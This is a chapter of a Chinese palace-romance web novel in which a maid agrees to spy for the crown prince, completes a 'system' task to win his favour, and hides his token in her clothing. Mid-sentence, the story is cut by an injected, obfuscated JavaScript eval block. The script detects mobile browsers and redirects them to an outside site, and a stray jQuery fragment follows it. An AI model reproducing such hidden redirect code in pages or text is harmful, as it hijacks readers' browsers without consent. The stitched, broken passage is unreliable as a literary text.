第二十章
萧御珩蹲在她面前,棱角分明的一张俊颜上是压不住的凉薄。
“你说你想活,孤暂且信了。那么,除了不想死,你还想要什么?”
“奴婢……还想要钱。很多很多钱。不用再为了一块馊掉的馒头跟人抢,不用看着别人穿金戴银自己却连件像样的冬衣都没有。有了钱,哪怕哪天……哪天奴婢不小心惹怒了谁,被赶出宫去,至少……至少还能有条活路,不用冻死饿死在街头。”
这个答案似乎有些出乎萧御珩的意料。
他一愣又略过……一丝了然。
勾勾唇。
“倒是实在。比那些满口忠君爱国、实则贪得无厌的蛀虫,坦诚得多。”
他站起身:“那也行,只要替孤继续盯紧玄明,尤其是他炼药和进药的所有过程,每三日,将你看到、听到全汇总报于孤。若消息有用,黄金、珠宝、田产铺子随你开口。”
“奴婢遵命!必当竭尽全力!”
萧御珩看着她欣喜答应的样子,忽然又开口,问了一个意料之外问题:“你第一次在养心殿偏殿外,见到孤杀那两个秀女时,为何不害怕?”
李幼汀愣了一下,似乎也没想到他会突然问起这个。
她回想起那夜的血腥和太子空洞却含笑的眉眼,沉吟片刻。
“殿下是在考验奴婢吗?奴婢眼色没错的话那两个秀女……举止有异,口音虽刻意模仿京城官话,却仍有生硬之处。且她们随身携带的香囊气味特别,奴婢曾在……全都是北境所用之物。殿下那夜虽看似随意**,但显然是早有准备并非单纯泄愤。所以奴婢猜想,殿下并非滥杀,而是……清除了混入宫中的细作。既然如此奴婢为何要怕?该怕的,是那些心怀叵测之人才对。”
“你竟看得如此仔细。”他缓缓道,语气听不出喜怒,却不再冰冷,“倒是个聪明人。”
【系统提示:关键人物萧御珩好感度+4%,当前好感度5%。触发临时任务:触摸萧御珩的手,获得百毒不侵药】
她咬了咬下唇。
这药不错……只是任务要不要接呢?万一接了唯一一点好感度也降低了岂不是得不偿失?
可不接……似乎也损失了一个大的。
她鼓足了勇气向前挪了一小步,伸出她的爪子然后小心翼翼的搭在了萧御珩垂在身侧的手。
他的手掌宽大不过骨节分明,很好看。
摸起来有些糙。
萧御珩身体几不可察地僵了一下,低头看向两人交叠的手。
那只覆在他手背上的小手冰凉,软软的。
李幼汀见他没立刻甩开,心中稍定,胆子也大了些。她抬起湿漉漉的眼睫,委屈的扭了扭身子:“殿下……奴婢腿软,有些……站不稳了。”
这借口拙劣还很明显。
萧御珩看着她脖颈上被他掐出的红痕,还有满脸的泪痕。
他沉默了一瞬,非但没有甩开她,反手一把握住了她的手腕。
力道不小,将她软若无骨微凉的身体往自己身侧带了带。
“他声音依旧听不出什么温度,甚至带着点不耐。
“站好了,这点胆色,也敢在孤面前耍心眼?”
话是这么说,他握着她的手腕却没有松开。
李幼汀顺势将大半重量倚靠过去,半靠在他坚实的手臂上。
她小声嘟囔的揉着腿,“奴婢不敢耍心眼啊,是真的腿软……方才,方才差点以为真要**……”这话倒有七分真,她确实跪的有些起不来了。
萧御珩没再说话,只是握着她的手腕,带着她慢慢朝外走去。
他的步伐并不快,似乎有意迁就她虚浮的脚步。
他身上清冽的气息将李幼汀整个笼罩。
两人挨得极近,几乎是臂膀相贴。
李幼汀能听到他平稳的呼吸声。
【系统提示:临时任务完成。奖励百毒不侵药已发放至系统空间(可抵御常见宫廷毒物,时效一个月)。萧御珩好感度波动:7%。】
好感度最终涨了!
李幼汀心中暗喜,那点被扣掉的好感度完全值得。
而且这药……来得正是时候,身处这**遍地的深宫,简直是保命符!
只是……这男人真是口是心非得厉害。
嘴上说着嫌弃不耐烦,手却握得这么紧,步伐也放得这么慢。
走到废园入口,隐约可见远处巡逻侍卫。
萧御珩停下了脚步,松开了握住她手腕的手。
手腕上还残留着他掌心微糙的温度。
“自己能走了?”他垂眸看她,语气平淡。
李幼汀试着站直,腿还有些发软但比刚才好多了。
萧御珩不再看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17246858|197889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她,从袖中抛出一枚黑色令牌。
“能……能走了,谢殿下。”
“记住你的任务。持此物,必要时可直通东宫角门。非生死攸关,勿用。”
令牌微微香味,还带着他的体温。
“奴婢谨记。”李幼汀将令牌紧紧握在手心,眼珠一转又飞快地解开领口最上方的两粒盘扣,动作自然。
然后毫不犹豫地将那枚还带着他体温的令牌塞进了自己胸前贴身小衣的暗袋里。
柔软的衣料瞬间将令牌包裹,只留下一个隆起轮廓,随即被她重新系好的衣领严实遮住。
整个过程行云流水。
正准备离开的萧御珩:“……?”
他身形顿住,缓缓转回身。
眉头微蹙,眼神里带着明显的错愕和难以置信。
“你……干什么?”他的声音压得有些低,带着一种被冒犯了的奇怪质问,却又掺杂了点别的情绪。
李幼汀系好最后一粒盘扣,抬起头迎上他审视的目光,脸上没有丝毫羞涩,只是理所应当的回道。
“回殿下,奴婢全身上下,就属这里最安全、最稳妥,绝对轻易不会被人搜到或掉落。放在这里,最好不过了。”
她甚至还拍了拍胸口放令牌的位置,以示牢固。
萧御珩:“……”
他看着她那张写满奴婢机智又谨慎快夸我的脸,又看了看她胸口那处被令牌撑起的本就醒目饱满的弧度现在更是夸张了。
一时竟不知该作何反应。
可最终,他所有的情绪只化作了一声冷哼,以及眉梢眼角那抹窘迫的别扭。
“……随你。”
他硬邦邦地丢下两个字,就连背影甚至比平时离去时快了几分。
李幼汀看着他落荒而逃的背影,嘴角终于忍不住翘起一个弧度。
看来,对付这位心思深沉的太子殿下,偶尔不按常理出牌、用点无伤大雅的小坦荡,似乎效果不错?
她摸了摸胸口硬硬的令牌就那样紧贴着她的心跳。
嗯,确实很安全。
也很……暖和。
她收敛笑意,整理好略显凌乱的鬓发转身朝着大殿方向走去。
夜风拂过,似乎也没那么冷了。
她摸了摸怀中那瓶刚得到的百毒不侵药喜滋滋的,这小生活真是越来越有奔头了。